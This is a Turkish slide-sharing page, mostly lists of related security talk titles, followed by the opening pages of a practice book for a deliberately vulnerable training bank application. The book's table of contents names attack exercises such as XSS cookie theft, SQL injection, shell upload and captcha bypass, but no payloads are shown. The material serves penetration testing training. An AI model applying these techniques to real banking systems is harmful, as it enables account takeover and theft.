Siber Güvenlik ve Etik Hacking Sunu - 3Siber Güvenlik ve Etik Hacking Sunu - 3
Siber Güvenlik ve Etik Hacking Sunu - 3Murat KARA
 
Derinlemesine Paket İnceleme (Deep Packet Inspection)
Derinlemesine Paket İnceleme (Deep Packet Inspection)Derinlemesine Paket İnceleme (Deep Packet Inspection)
Derinlemesine Paket İnceleme (Deep Packet Inspection)BGA Cyber Security
 

Tendances (20)

SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
SSH Tünelleme ile İçerik Filtreleyicileri AtlatmakSSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
 
Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
 
Temel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş DökümanıTemel Ağ Sızma Testine Giriş Dökümanı
Temel Ağ Sızma Testine Giriş Dökümanı
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
 
Bilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma Testleri
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyeti
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMA
 
Siber Güvenlik ve Etik Hacking Sunu - 3
Siber Güvenlik ve Etik Hacking Sunu - 3Siber Güvenlik ve Etik Hacking Sunu - 3
Siber Güvenlik ve Etik Hacking Sunu - 3
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
 
Derinlemesine Paket İnceleme (Deep Packet Inspection)
Derinlemesine Paket İnceleme (Deep Packet Inspection)Derinlemesine Paket İnceleme (Deep Packet Inspection)
Derinlemesine Paket İnceleme (Deep Packet Inspection)
 

Similaire à BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1

Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama KitabıWeb ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama KitabıBGA Cyber Security
 
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİGÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİBGA Cyber Security
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab KitabıBGA Cyber Security
 
789 yazilim360egitimleri2014
789 yazilim360egitimleri2014789 yazilim360egitimleri2014
789 yazilim360egitimleri2014yunus yiğit
 
Bga Bank Ultimate Representation
Bga Bank Ultimate RepresentationBga Bank Ultimate Representation
Bga Bank Ultimate RepresentationHarun Tamokur
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Mehmet Ince
 
Hosting Dergi - 6.SAYI
Hosting Dergi - 6.SAYIHosting Dergi - 6.SAYI
Hosting Dergi - 6.SAYIHosting Dergi
 
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakZararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakBGA Cyber Security
 
Angular JS ve Node JS Güvenliği
Angular JS ve Node JS GüvenliğiAngular JS ve Node JS Güvenliği
Angular JS ve Node JS GüvenliğiBGA Cyber Security
 
SOME ve SOC Ekipleri İçin Açık Kaynak Çözümler
SOME ve SOC Ekipleri İçin Açık Kaynak ÇözümlerSOME ve SOC Ekipleri İçin Açık Kaynak Çözümler
SOME ve SOC Ekipleri İçin Açık Kaynak ÇözümlerBGA Cyber Security
 
ISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfMert339194
 
Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web	Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiWeb	Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiBGA Cyber Security
 
Internet programcılığı 5
Internet programcılığı 5Internet programcılığı 5
Internet programcılığı 5Erol Dizdar
 
Güvenlik Testlerinde Bilgi Toplama
Güvenlik Testlerinde Bilgi ToplamaGüvenlik Testlerinde Bilgi Toplama
Güvenlik Testlerinde Bilgi ToplamaBGA Cyber Security
 
Some’lerden Beklenen Adli bilişim Yetkinlikleri
Some’lerden Beklenen Adli bilişim YetkinlikleriSome’lerden Beklenen Adli bilişim Yetkinlikleri
Some’lerden Beklenen Adli bilişim YetkinlikleriAdeo Security
 
Bulut bilişim azure'de dream spark ile ücretsiz web sitesi oluşturmak
Bulut bilişim   azure'de dream spark ile ücretsiz web sitesi oluşturmakBulut bilişim   azure'de dream spark ile ücretsiz web sitesi oluşturmak
Bulut bilişim azure'de dream spark ile ücretsiz web sitesi oluşturmakAhmet S.
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİBGA Cyber Security
 
Sunucu işletim sistemi 6
Sunucu işletim sistemi 6Sunucu işletim sistemi 6
Sunucu işletim sistemi 6Erol Dizdar
 

Similaire à BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1 (20)

Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama KitabıWeb ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı
 
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİGÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
GÜVENLİ YAZILIM GELİŞTİRME EĞİTİMİ İÇERİĞİ
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
789 yazilim360egitimleri2014
789 yazilim360egitimleri2014789 yazilim360egitimleri2014
789 yazilim360egitimleri2014
 
Metasploit Framework Eğitimi
Metasploit Framework EğitimiMetasploit Framework Eğitimi
Metasploit Framework Eğitimi
 
Bga Bank Ultimate Representation
Bga Bank Ultimate RepresentationBga Bank Ultimate Representation
Bga Bank Ultimate Representation
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
Hosting Dergi - 6.SAYI
Hosting Dergi - 6.SAYIHosting Dergi - 6.SAYI
Hosting Dergi - 6.SAYI
 
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakZararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
 
Angular JS ve Node JS Güvenliği
Angular JS ve Node JS GüvenliğiAngular JS ve Node JS Güvenliği
Angular JS ve Node JS Güvenliği
 
SOME ve SOC Ekipleri İçin Açık Kaynak Çözümler
SOME ve SOC Ekipleri İçin Açık Kaynak ÇözümlerSOME ve SOC Ekipleri İçin Açık Kaynak Çözümler
SOME ve SOC Ekipleri İçin Açık Kaynak Çözümler
 
ISG Admin Guide TR.pdf
ISG Admin Guide TR.pdfISG Admin Guide TR.pdf
ISG Admin Guide TR.pdf
 
Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web	Uygulama Saldırıları ve Klasik Çözümlerin YetersizliğiWeb	Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği
 
Internet programcılığı 5
Internet programcılığı 5Internet programcılığı 5
Internet programcılığı 5
 
Güvenlik Testlerinde Bilgi Toplama
Güvenlik Testlerinde Bilgi ToplamaGüvenlik Testlerinde Bilgi Toplama
Güvenlik Testlerinde Bilgi Toplama
 
Some’lerden Beklenen Adli bilişim Yetkinlikleri
Some’lerden Beklenen Adli bilişim YetkinlikleriSome’lerden Beklenen Adli bilişim Yetkinlikleri
Some’lerden Beklenen Adli bilişim Yetkinlikleri
 
Bulut bilişim azure'de dream spark ile ücretsiz web sitesi oluşturmak
Bulut bilişim   azure'de dream spark ile ücretsiz web sitesi oluşturmakBulut bilişim   azure'de dream spark ile ücretsiz web sitesi oluşturmak
Bulut bilişim azure'de dream spark ile ücretsiz web sitesi oluşturmak
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
 
Sunucu işletim sistemi 6
Sunucu işletim sistemi 6Sunucu işletim sistemi 6
Sunucu işletim sistemi 6
 
Mail Sniper Nedir?
Mail Sniper Nedir?Mail Sniper Nedir?
Mail Sniper Nedir?
 

Plus de BGA Cyber Security

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiBGA Cyber Security
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfBGA Cyber Security
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiBGA Cyber Security
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?BGA Cyber Security
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBGA Cyber Security
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketlerBGA Cyber Security
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıBGA Cyber Security
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020BGA Cyber Security
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriBGA Cyber Security
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakBGA Cyber Security
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIBGA Cyber Security
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiBGA Cyber Security
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziBGA Cyber Security
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Cyber Security
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerBGA Cyber Security
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsBGA Cyber Security
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiBGA Cyber Security
 
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıGüvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıBGA Cyber Security
 

Plus de BGA Cyber Security (20)

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesi
 
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdfTatil Öncesi Güvenlik Kontrol Listesi.pdf
Tatil Öncesi Güvenlik Kontrol Listesi.pdf
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketler
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-II
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem Analizi
 
Open Source SOC Kurulumu
Open Source SOC KurulumuOpen Source SOC Kurulumu
Open Source SOC Kurulumu
 
Siber Fidye 2020 Raporu
Siber Fidye 2020 RaporuSiber Fidye 2020 Raporu
Siber Fidye 2020 Raporu
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain Tespiti
 
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıGüvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
 

BGA BANK Web Güvenlik Testleri Uygulama Kitabı V1

  • 1.         [ Tüm  yayın  hakları  BGA  Bilgi  Güvenliği  A.Ş.’e  aittir.  BGA’nın  yazılı  izni  olmadan  çoğaltılamaz.  Kaynak  gösterilmek   koşuluyla  alıntı  yapılabilir.]   BGA  BANK  Web  Güvenlik   Testleri  Uygulama  Kitabı   Ceylan  BOZOĞULLARINDAN  <ceylan@bga.com.tr>              
  • 2. 2   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           GİRİŞ   BGA  Bank  Hakkında       “BGA  BANK  (Vulnerable  Online  Bank  Application)”  uygulaması  PHP  tabanlı  çeşitli  zafiyetler   içeren   sızma   testi   eğitim   platformudur.   Türkiye'deki   bankacılık   altyapısı   incelenerek   bu   altyapılarda  çıkabilecek  tüm  teknik  ve  mantıksal  hatalar  uygulamanın  içine  eklenmiş  ve  web   uygulama   güvenliği   konusunda   çalışanlar   için   gerçekci   bir   sızma   testi   platformu   oluşturulmuştur.     Webgoat,  DVWA  vs  gibi  benzeri  amaçla  yazılmış  programlardan  en  temel  farkı  açıklıkların   doğrudan  kullanıcıya  nerede  olduğu  ve  nasıl  istismar  edileceği  ile  ilgili  ipucu  vermemesidir.     BGA  BANK  altyapısı  3  farklı  sistemden  oluşmaktadır:     1-­‐  BGA  BANK  -­‐  http://www.bgabank.com   2-­‐  IPS  Korumalı  Bankacılık  Uygulaması  -­‐  http://ipstest.bgabank.com   3-­‐  WAF  Korumalı  Bankacılık  Uygulaması  -­‐  http://waftest.bgabank.com     Böylece  bgabank.com'da  çalışan  bir  açıklığın  hem  IPS  hem  de  WAF  sistemleri  ile  tekrar  test   edilerek  çeşitli  evasion  tekniklerinin  denenmesi  de  sağlanmış  olmaktadır.     Yazılım  Geliştiriciler   Ceylan  BOZOĞULLARINDAN,  Rızacan  TUFAN   Kitapçık  Yazarları   Ceylan   BOZOĞULLARINDAN,   Ender   AKBAŞ,   Huzeyfe  ÖNAL   Katkıda  Bulunanlar   Halil  DALABASMAZ,  Ömer  ALBAYRAK   Proje  Yöneticisi   Huzeyfe  ÖNAL     Kitap  içeriğiyle  ilgili  her  türlü  geri  dönüş  için  bgabank@bga.com.tr  adresine  e-­‐ posta  gönderebilirsiniz.            
  • 3. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   3         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Bilgi  Güvenliği  AKADEMİSİ  (BGA)  Hakkında   Bilgi  Güvenliği  Akademisi  (BGA)  Türkiye’deki  bilgi  güvenliği  sektörüne  profesyonel  anlamda   destek   olmak   amacıyla   ileri   seviye   güvenlik   danışmanlığı   ve   bilgi   güvenliği   eğitimleri   konularında  kurumlara  hizmet  vermektedir.   2008-­‐2010   yılları   arasında   yapılan   çalışmalar   sonucu   gönüllü   bir   ekip   tarafından   kurulup   Türkiye  ‘de  bilgi  güvenliği  konusunda  bilgi  paylaşımının  ve  bilinçlenmenin  arttırılması  adına   e-­‐posta   listeleri   oluşturulması,   seminerler,   güvenlik   günleri   düzenlenmesi,   üniversite   öğrencilerine  yön  vermek  maksadı  ile  siber  güvenlik  kamplarının  düzenlenmesi  gibi  birçok   konuda  faaliyetlerde  bulunmuştur.   Bilgi   Güvenliği   Akademisi,   BGA   Bilgi   Güvenliği   A.Ş.   olarak      2011   yılı   başında   şirketleşmiştir.    Kısa   sürede   Türkiye’nin   en   önemli   kurumlarına   bilgi   güvenliği   ve   stratejik   siber   güvenlik   konularında   danışmanlık   gerçekleştirmiş,   500’den   fazla   kuruma   eğitim   vermiştir.   2012   -­‐   2015   yılları   itibariyle   yurtdışında   Azerbaycan,   Kazakistan,   KKTC   gibi   ülkelerde   de   şube    açmış  ve  bu  ülkelerde  en  büyük  10  şirkete  hizmet  vermektedir  .     Sunduğumuz   eğitim   ve   danışmanlık   hizmetleri   için   bilgi@bga.com.tr   adresine   e-­‐posta   gönderebilirsiniz.      
  • 4. 4   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           İçindekiler   GİRİŞ  .............................................................................................................................................................  2   Bilgi  Güvenliği  AKADEMİSİ  (BGA)  Hakkında  ..............................................................................................  3   1.  Müşteri  Giriş  Paneli  Reflected  XSS  Zafiyeti  ve  İstismarı  ...........................................................................  6   2.  Müşteri  Giriş  Paneli  SQL  Injection  Zafiyeti  ve  İstismarı  ............................................................................  9   3.  User-­‐Agent  Bilgisi  Değiştirerek  Captcha  Atlatma  (Mobil  Giriş)  ...............................................................  12   4.  Arama  Kutusu  Reflected  XSS  Zafiyeti  ve  İstismarı  ..................................................................................  14   5.  HPF  (HTTP  Parameter  Fragmentation)  Yöntemi  ile  XSS  İstismarı  ...........................................................  16   6.  XSS  Kullanarak  Cookie  Bilgisi  Çalma  .......................................................................................................  17   7.  Yönetim  Paneli  Dizin  İfşası  ......................................................................................................................  18   8.  Local  File  Inclusion  Zafiyeti  ve  İstismarı  ..................................................................................................  20   9.  robots.txt  Bilgi  İfşası  ...............................................................................................................................  22   10.  PhpMyAdmin  Bilgi  İfşası  .......................................................................................................................  23   11.  Arama  Kutusu  Error  Based  &  Union  Query  SQL  Injection  Zafiyeti  ve  İstismarı  ....................................  24   12.  Log  Dizininde  Cookie  İfşası  (elmah.axd)  ve  İstismarı  ............................................................................  30   13.  Mesaj  Gönderme  Stored  XSS  Zafiyeti  ve  İstismarı  ................................................................................  36   14.  Havale/EFT  Hesap  Arama  Kutusu  SQL  Injection  Zafiyeti  ve  İstismarı  ...................................................  38   15.  User-­‐Agent  Başlık  Bilgisinde  SQL  Injection  Zafiyeti  ve  İstismarı  ...........................................................  41   16.  Profil  Güncelleme  Shell  Upload  Zafiyeti  ve  İstismarı  ............................................................................  42   17.  Havale/EFT  Stored  XSS  Zafiyeti  ve  İstismarı  .........................................................................................  45   18.  Erişim  Kısıtlamasını  Atlatma  .................................................................................................................  48   19.  Havale/EFT  İşlemi  Mantık  Hatası  ve  İstismarı  .......................................................................................  51   20.  Müşteri  Bilgileri  Insecure  Direct  Object  Zafiyeti  ve  İstismarı  ................................................................  53   21.  Ziyaretçi  Defteri  Stored  XSS  Zafiyeti  ve  İstismarı  ..................................................................................  56   22.  Çalışmayan  Captcha  Uygulaması  ..........................................................................................................  58   23.  Captcha  Atlatarak  Brute  Force  Saldırısı  Gerçekleştirme  .......................................................................  59   24.  Cookie  Hırsızlığı  ile  Yönetim  Panelinde  Oturum  Açmak  .......................................................................  62   25.  Müşteri  